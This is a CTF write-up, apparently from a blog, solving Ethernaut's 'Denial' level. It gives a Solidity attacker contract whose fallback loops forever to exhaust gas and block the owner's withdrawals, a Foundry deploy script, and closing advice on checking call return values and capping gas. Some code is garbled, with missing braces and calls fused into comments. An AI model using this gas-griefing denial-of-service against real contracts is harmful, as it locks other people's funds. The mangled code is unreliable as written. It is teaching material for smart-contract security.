The Ethernaut CTF Solutions | 20 - Denial

The Ethernaut CTF Solutions | 20 - Denial

A Loop of Denial: Burning Gas to Ensure a DoS and Prevent the Funds from being withdrawn


3 min read


The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share{value: amountToSend}("");
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;

The hack

The goal of the Denial challenge is to prevent the owner from withdrawing funds using the withdraw() function. How to do that?

Let's take a look at the withdraw() function:

function withdraw() public {
        uint amountToSend = address(this).balance / 100; // 1% of the contract's balance{value:amountToSend}(""); // Send to partner using call
        payable(owner).transfer(amountToSend); // Send to owner using transfer

        // The rest is irrelevant to the solution, but note that the CEI isn't respected
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;

There are 2 external calls here:


  • payable(owner).transfer(amountToSend);

There isn't much we can do with the transfer to the owner. However, we know that the call function forwards all the remaining gas to the callee. Unfortunately, since the return value isn't checked, simply reverting upon receiving ether wouldn't work. So we have to find another way to break the withdraw function.

This can be achieved by using all the remaining gas within the fallback function. By doing so, the withdraw() function will never be able to complete its execution. In this case, a useless infinite loop will do the work beautifully:

fallback() external payable {
    while (true) {}


Let's implement the solution accordingly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IDenial {
    function setWithdrawPartner(address _partner) external;

contract Stop {
    IDenial idenial;

    constructor(address _denial) {
        idenial = IDenial(_denial);

    function becomePartner() public {

    fallback() external payable {
        while (true) {}

As well as the script to deploy the Stop contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {Stop} from "../src/20_Denial.sol";

contract PoC is Script {
    // Replace with your Denial instance
    address private immutable denial =

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");

        Stop stop = new Stop(denial);


Then run the script with the following command:

forge script script/20_Denial.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰


  • Always check the return value of the call function.

  • A specific amount of gas can be specified when using the call function.

You can find all the codes, challenges, and their solutions on my GitHub: